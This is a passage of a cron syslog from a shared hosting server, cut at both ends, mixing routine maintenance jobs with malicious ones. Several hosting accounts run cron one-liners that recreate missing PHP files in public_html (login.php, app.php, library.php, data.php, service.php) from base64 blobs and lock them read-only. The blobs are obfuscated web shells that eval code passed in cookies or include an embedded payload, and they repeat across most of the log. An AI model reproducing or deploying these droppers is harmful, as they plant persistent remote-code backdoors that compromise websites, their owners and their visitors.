"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:54:01 medusa CROND[27916]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:54:01 medusa CROND[27918]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:54:01 medusa CROND[27917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:54:01 medusa CROND[27925]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:54:01 medusa CROND[27926]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:54:01 medusa CROND[27936]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:55:01 medusa CROND[29464]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:55:01 medusa CROND[29472]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:55:01 medusa CROND[29477]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:55:01 medusa CROND[29478]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:55:01 medusa CROND[29479]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:55:01 medusa CROND[29480]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:55:02 medusa CROND[29483]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:55:02 medusa CROND[29484]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:55:02 medusa CROND[29481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:55:02 medusa CROND[29485]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:55:02 medusa CROND[29482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:55:02 medusa CROND[29495]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:55:02 medusa CROND[29489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:55:02 medusa CROND[29496]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:55:02 medusa CROND[29491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:55:02 medusa CROND[29497]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:55:02 medusa CROND[29500]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:55:02 medusa CROND[29503]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:55:02 medusa CROND[29499]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:55:02 medusa CROND[29494]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:55:02 medusa CROND[29498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cldetect.cronlock /usr/bin/cldetect --update-license)
Jun  7 05:55:02 medusa CROND[29493]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:55:02 medusa CROND[29519]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:56:01 medusa CROND[31135]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:56:01 medusa CROND[31157]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:56:01 medusa CROND[31159]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:56:01 medusa CROND[31162]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:56:01 medusa CROND[31161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:56:01 medusa CROND[31158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:56:01 medusa CROND[31163]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:56:01 medusa CROND[31164]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:56:01 medusa CROND[31166]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7C